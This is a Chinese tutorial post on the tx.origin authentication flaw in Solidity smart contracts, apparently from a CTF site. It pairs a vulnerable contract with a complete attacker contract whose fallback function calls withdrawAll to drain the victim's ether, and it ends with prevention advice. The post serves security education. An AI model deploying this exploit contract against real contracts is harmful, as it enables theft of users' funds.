智能合约审计-tx.origin漏洞

区块链安全 2年前 (2022) admin
509 0 0

描叙:tx.origin是solidity中的一个全局变量,它能够遍历调用栈并返回最初发送调用(或事务)的账户的地址,使用tx.origin变量进行身份验证,会导致合约受到网络钓鱼攻击。

核心问题:使用tx.origin全局变量绕过限制,获取一定的权限。

漏洞合约分析

pragma solidity ^0.4.22;

contract game {
    address public owner;
    
    constructor () public {
        owner = msg.sender;
    }
    function () public payable {}
        function withdrawAll(address _recipient) public {
            require(tx.origin == owner);
            _recipient.transfer(this.balance);
        }
}

漏洞点:攻击者可以诱使漏洞合约所有者向攻击者合约发送以太币,然后调用攻击者合约的函数,从而调用漏洞合约的withdrawAll()函数,程序将进入漏洞合约中执行,此时msg.sender就是攻击者合约的地址,tx.origin就是漏洞合约所有者的地址,require(tx.origin == owner)条件得到满足,_recipient.transfer(this.balance)可以执行。

攻击合约分析

pragma solidity ^0.4.22;

interface game{
    function owner() external returns(address);
    function withdrawAll(address _recipient) external;
}
contract exp {
    address owner;
    game phInstance;
    constructor() public{
        owner = msg.sender;
    }
    modifier onlyowner() {
        require(owner == msg.sender);
        _;
    }
     function setInstance(address addr) public onlyowner{
         phInstance = game(addr);
    }
    function getbalance() public onlyowner{
        owner.transfer(address(this).balance);
    }
    function attack() internal{
        address ph0wner = phInstance.owner();
        if (ph0wner == msg.sender){
            phInstance.withdrawAll(owner);
        }else{
            owner.transfer(address(this).balance);
        }
    }
    function() external payable{
        attack();
    }
}

利用点:其回退函数调用了attack()函数,而attack()函数中的if (ph0wner == msg.sender){phInstance.withdrawAll(owner);在条件满足的情况下,可以调用game合约中的withdrawAll()函数。同时,由于传入的地址为攻击者地址,原合约取出的余额将全部转入攻击者账户。

漏洞预防

  • 如果想要拒绝外部合约调用当前合约,可以使用require(tx.origin == msg.sender),以防止使用中间合约来调用当前合约。
  • 合约开发者要尽量避免使用tx.origin,改用使用msg.sender.

 

 

原文始发于毕竟话少:智能合约审计-tx.origin漏洞

版权声明:admin 发表于 2022年10月21日 上午8:29。
转载请注明:智能合约审计-tx.origin漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...